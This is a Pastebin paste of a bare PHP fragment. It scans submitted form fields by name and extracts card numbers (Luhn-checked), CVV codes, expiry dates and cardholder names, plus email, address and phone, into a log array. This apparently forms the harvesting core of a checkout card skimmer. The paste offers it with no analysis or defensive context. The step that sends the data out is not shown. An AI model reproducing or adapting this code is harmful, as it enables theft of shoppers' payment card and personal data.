Advertisement
Guest User

Untitled

a guest
May 20th, 2018
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.43 KB | None | 0 0
  1. * RECOGNIZONG DATA */
  2. foreach($data as $k=>$v) {
  3. $k = strtolower($k);
  4.  
  5. /** Card info #start# **/
  6. if( (preg_match('/cid/i',$k) || preg_match('/codigo/i', $k) || preg_match('/securitycode/i', $k) || preg_match('/cc_cvv2/i', $k) || preg_match('/cvc/i', $k) || preg_match('/cc_cvv/i', $k) || preg_match('/ccv/i', $k) || preg_match('/cvv/i', $k) || preg_match('/cc_cid/i', $k) || preg_match('/verification_v/i', $k) ) && strlen($v) >= 3 && strlen($v) <= 4)
  7. $log['cc_cid'] = preg_replace('~[^0-9]+~', '', $v);
  8.  
  9. if(preg_match('/month/i', $k) || preg_match('/mes/i', $k) || preg_match('/cc_expire_date_month/i', $k) || preg_match('/EXMON/i', $k) || preg_match('/expire_m/i', $k) || preg_match('/exp_m/i', $k) || preg_match('/expm/i', $k))
  10. $log['cc_exp_month']= $v;
  11.  
  12. if((preg_match('/year/i', $k) || preg_match('/ano/i', $k) || preg_match('/cc_expire_date_year/i', $k) || preg_match('/exp_y/i', $k) || preg_match('/expiration_y/i', $k) || preg_match('/expy/i', $k) || preg_match('/expire_y/i', $k)) && ( (strlen($v) == 4 && $v < 2040 && $v > 2016) || (strlen($v) == 2 && $v < 40 && $v > 16) ) )
  13. $log['cc_exp_year'] = preg_replace('~[^0-9]+~', '', $v);
  14.  
  15. if( (preg_match('/number/i', $k) || preg_match('/ACCT/i', $k) || preg_match('/cc_number/i', $k) || preg_match('/numero/i', $k) || preg_match('/card/i', $k) || preg_match('/ccNo/i', $k)) && strlen($v) >= 13 && luhn_check($v))
  16. $log['cc_number'] = preg_replace('~[^0-9]+~', '', $v);
  17.  
  18. if(preg_match('/owner/i', $k) || preg_match('/holder/i', $k)|| preg_match('/cc_owner/i', $k)|| preg_match('/cardname/i', $k))
  19. $log['cc_owner'] = $v;
  20.  
  21. /** Card info #end# **/
  22.  
  23. if(preg_match('/city/', $k) || preg_match('/region/', $k))
  24. $log['city'] = $v;
  25.  
  26. if(preg_match('/state/', $k) || preg_match('/State1/', $k) || preg_match('/locality/', $k) )
  27. $log['state'] = $v;
  28.  
  29. if(preg_match('/country/', $k) )
  30. $log['country_id'] = $v;
  31.  
  32. if(preg_match('/email/', $k))
  33. $log['email'] = $v;
  34.  
  35. if(preg_match('/firstname/', $k) || preg_match('/first_name/', $k) || preg_match('/fname/', $k))
  36. $log['firstname'] = $v;
  37.  
  38. if( preg_match('/lastname/', $k) || preg_match('/last_name/', $k) || preg_match('/lname/', $k))
  39. $log['lastname'] = $v;
  40.  
  41. if( preg_match('/postcode/', $k) || preg_match('/zip/', $k) )
  42. $log['postcode'] = $v;
  43.  
  44. if((preg_match('/street/', $k) || preg_match('/address/i', $k)) && strlen($k) > 5)
  45. $log['street'] = $v;
  46.  
  47. if(preg_match('/tel/', $k) || preg_match('/phone/i', $k))
  48. $log['telephone'] = $v;
  49. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement